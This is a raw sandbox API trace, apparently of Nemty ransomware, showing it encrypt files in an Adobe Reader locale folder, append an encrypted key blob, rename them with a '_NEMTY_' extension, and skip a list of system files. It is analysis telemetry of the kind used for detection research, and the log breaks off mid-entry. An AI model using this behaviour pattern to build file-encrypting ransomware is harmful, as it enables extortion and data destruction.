[0175.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0175.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0175.559] Sleep (dwMilliseconds=0x5) [0175.560] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c49f6f0, dwHighDateTime=0x1d561e8)) [0175.560] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c49f6f0, dwHighDateTime=0x1d561e8)) [0175.560] GetLastError () returned 0x0 [0175.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.560] GetLastError () returned 0x0 [0175.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0175.560] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.560] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.561] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0175.561] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e5dc | out: pszString="YWZ+jsa2vsTGLoyJaZyAwF3LpA2bSp/xs9OCFUBADdLcRRahy3ZlEpZ/EQerW0V+\r\n9o9O/JgKYbQo7Rq4MFjv5Wv7UADy8wF4LW8t0ZmNGR/mLjvcOrOhj5NZHke/EOXr\r\n8baion1YndJf545rhIch1N+EA8lXd8NogU8ERo1aaeMmEqv0zORJ4MjwRsVO5fJ2\r\n2xzc9zjz3THqDNTHlUlKTPi6l4NrmmeHS6obFt+KH94N61QRZhAo97mwQOb4vKik\r\nNOTNadlhWqPlkJNyCcBeJGkqjHZ0IOX7L6BCd61W89vdMuHjsh2aYsRVD1S6TbOL\r\nWzVSGVYAOIh+4gj0ncQ7Ig==\r\n", pcchString=0x653e5dc) returned 1 [0175.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0175.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0175.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0175.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.561] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\AdobeCollabSync.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\adobecollabsync.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.562] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0175.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0175.562] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.562] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0175.564] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.564] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0175.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.564] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0175.564] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.564] CloseHandle (hObject=0x2e8) returned 1 [0175.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0175.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0175.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0175.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0175.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0175.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0175.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0175.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0175.564] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\AdobeCollabSync.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\adobecollabsync.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\AdobeCollabSync.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\adobecollabsync.esp._nemty_kgobjgd_")) returned 1 [0175.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0175.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0175.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0175.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.565] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d6d1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ec00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Annots.ESP", cAlternateFileName="")) returned 1 [0175.565] lstrcmpiW (lpString1="Annots.ESP", lpString2=".") returned 1 [0175.565] lstrcmpiW (lpString1="Annots.ESP", lpString2="..") returned 1 [0175.565] lstrcmpiW (lpString1="Annots.ESP", lpString2="...") returned 1 [0175.565] lstrcmpiW (lpString1="Annots.ESP", lpString2="windows") returned -1 [0175.565] lstrcmpiW (lpString1="Annots.ESP", lpString2="$RECYCLE.BIN") returned 1 [0175.565] lstrcmpiW (lpString1="Annots.ESP", lpString2="rsa") returned -1 [0175.565] lstrcmpiW (lpString1="Annots.ESP", lpString2="NTDETECT.COM") returned -1 [0175.565] lstrcmpiW (lpString1="Annots.ESP", lpString2="ntldr") returned -1 [0175.565] lstrcmpiW (lpString1="Annots.ESP", lpString2="MSDOS.SYS") returned -1 [0175.565] lstrcmpiW (lpString1="Annots.ESP", lpString2="IO.SYS") returned -1 [0175.565] lstrcmpiW (lpString1="Annots.ESP", lpString2="boot.ini") returned -1 [0175.566] lstrcmpiW (lpString1="Annots.ESP", lpString2="boot.ini") returned -1 [0175.566] lstrcmpiW (lpString1="Annots.ESP", lpString2="AUTOEXEC.BAT") returned -1 [0175.566] lstrcmpiW (lpString1="Annots.ESP", lpString2="ntuser.dat") returned -1 [0175.566] lstrcmpiW (lpString1="Annots.ESP", lpString2="desktop.ini") returned -1 [0175.566] lstrcmpiW (lpString1="Annots.ESP", lpString2="CONFIG.SYS") returned -1 [0175.566] lstrcmpiW (lpString1="Annots.ESP", lpString2="RECYCLER") returned -1 [0175.566] lstrcmpiW (lpString1="Annots.ESP", lpString2="BOOTSECT.BAK") returned -1 [0175.566] lstrcmpiW (lpString1="Annots.ESP", lpString2="bootmgr") returned -1 [0175.566] lstrcmpiW (lpString1="Annots.ESP", lpString2="programdata") returned -1 [0175.566] lstrcmpiW (lpString1="Annots.ESP", lpString2="appdata") returned -1 [0175.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.ESP", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.ESP", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.ESP", lpUsedDefaultChar=0x0) returned 10 [0175.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.ESP", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.ESP", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.ESP", lpUsedDefaultChar=0x0) returned 10 [0175.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.ESP", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.ESP", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.ESP", lpUsedDefaultChar=0x0) returned 10 [0175.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.ESP", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.ESP", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.ESP", lpUsedDefaultChar=0x0) returned 10 [0175.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0175.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0175.566] Sleep (dwMilliseconds=0x5) [0175.576] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c4c5850, dwHighDateTime=0x1d561e8)) [0175.576] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c4c5850, dwHighDateTime=0x1d561e8)) [0175.576] GetLastError () returned 0x0 [0175.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.576] GetLastError () returned 0x0 [0175.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.576] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.576] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.576] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0175.576] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="aw2yadkbPlSSTu1cpurBQt8Jsy+PyjtGEbuO4nvYkGV5XSNhCp90tV43ssIuP6Hx\r\na9k/b3iEORHOYjAyh6Erh8Pi1ii++HSDOonm5EQ9IlYXQy2EhdEUh5ljlll+UDv/\r\np+Xg3jpPa+V4mGJBgUr/pF98oeBFcK06E7Hl+kiCCV7aPnkF2zKXc9oyZo2PWEdt\r\n72V5Po4Ww5AQR2JNbrVdjgSGmy5PukEHfkgcdifc/vs0EJJo19w7UY0O3z+mlAey\r\nZQ6QeVEVZwBSfnpGczNFt3nXIeggXbx14tUOS62VzCH70CE9ulCWVWD/81DR4tod\r\nj0DTQ747vWQZfZH2KVTQHw==\r\n", pcchString=0x653e5dc) returned 1 [0175.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0175.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.577] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Annots.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\annots.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.577] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=519168) returned 1 [0175.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0175.577] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.577] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0175.586] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.586] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0175.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.587] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=519168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ec00 [0175.587] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.588] CloseHandle (hObject=0x2e8) returned 1 [0175.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0175.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0175.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.589] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Annots.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\annots.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Annots.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\annots.esp._nemty_kgobjgd_")) returned 1 [0175.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0175.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0175.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0175.590] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="BRdlang32.ESP", cAlternateFileName="BRDLAN~1.ESP")) returned 1 [0175.590] lstrcmpiW (lpString1="BRdlang32.ESP", lpString2=".") returned 1 [0175.590] lstrcmpiW (lpString1="BRdlang32.ESP", lpString2="..") returned 1 [0175.590] lstrcmpiW (lpString1="BRdlang32.ESP", lpString2="...") returned 1 [0175.590] lstrcmpiW (lpString1="BRdlang32.ESP", lpString2="windows") returned -1 [0175.590] lstrcmpiW (lpString1="BRdlang32.ESP", lpString2="$RECYCLE.BIN") returned 1 [0175.590] lstrcmpiW (lpString1="BRdlang32.ESP", lpString2="rsa") returned -1 [0175.590] lstrcmpiW (lpString1="BRdlang32.ESP", lpString2="NTDETECT.COM") returned -1 [0175.590] lstrcmpiW (lpString1="BRdlang32.ESP", lpString2="ntldr") returned -1 [0175.590] lstrcmpiW (lpString1="BRdlang32.ESP", lpString2="MSDOS.SYS") returned -1 [0175.590] lstrcmpiW (lpString1="BRdlang32.ESP", lpString2="IO.SYS") returned -1 [0175.590] lstrcmpiW (lpString1="BRdlang32.ESP", lpString2="boot.ini") returned 1 [0175.590] lstrcmpiW (lpString1="BRdlang32.ESP", lpString2="boot.ini") returned 1 [0175.590] lstrcmpiW (lpString1="BRdlang32.ESP", lpString2="AUTOEXEC.BAT") returned 1 [0175.590] lstrcmpiW (lpString1="BRdlang32.ESP", lpString2="ntuser.dat") returned -1 [0175.590] lstrcmpiW (lpString1="BRdlang32.ESP", lpString2="desktop.ini") returned -1 [0175.591] lstrcmpiW (lpString1="BRdlang32.ESP", lpString2="CONFIG.SYS") returned -1 [0175.591] lstrcmpiW (lpString1="BRdlang32.ESP", lpString2="RECYCLER") returned -1 [0175.591] lstrcmpiW (lpString1="BRdlang32.ESP", lpString2="BOOTSECT.BAK") returned 1 [0175.591] lstrcmpiW (lpString1="BRdlang32.ESP", lpString2="bootmgr") returned 1 [0175.591] lstrcmpiW (lpString1="BRdlang32.ESP", lpString2="programdata") returned -1 [0175.591] lstrcmpiW (lpString1="BRdlang32.ESP", lpString2="appdata") returned 1 [0175.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.ESP", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.ESP", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.ESP", lpUsedDefaultChar=0x0) returned 13 [0175.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.ESP", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.ESP", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.ESP", lpUsedDefaultChar=0x0) returned 13 [0175.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.ESP", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 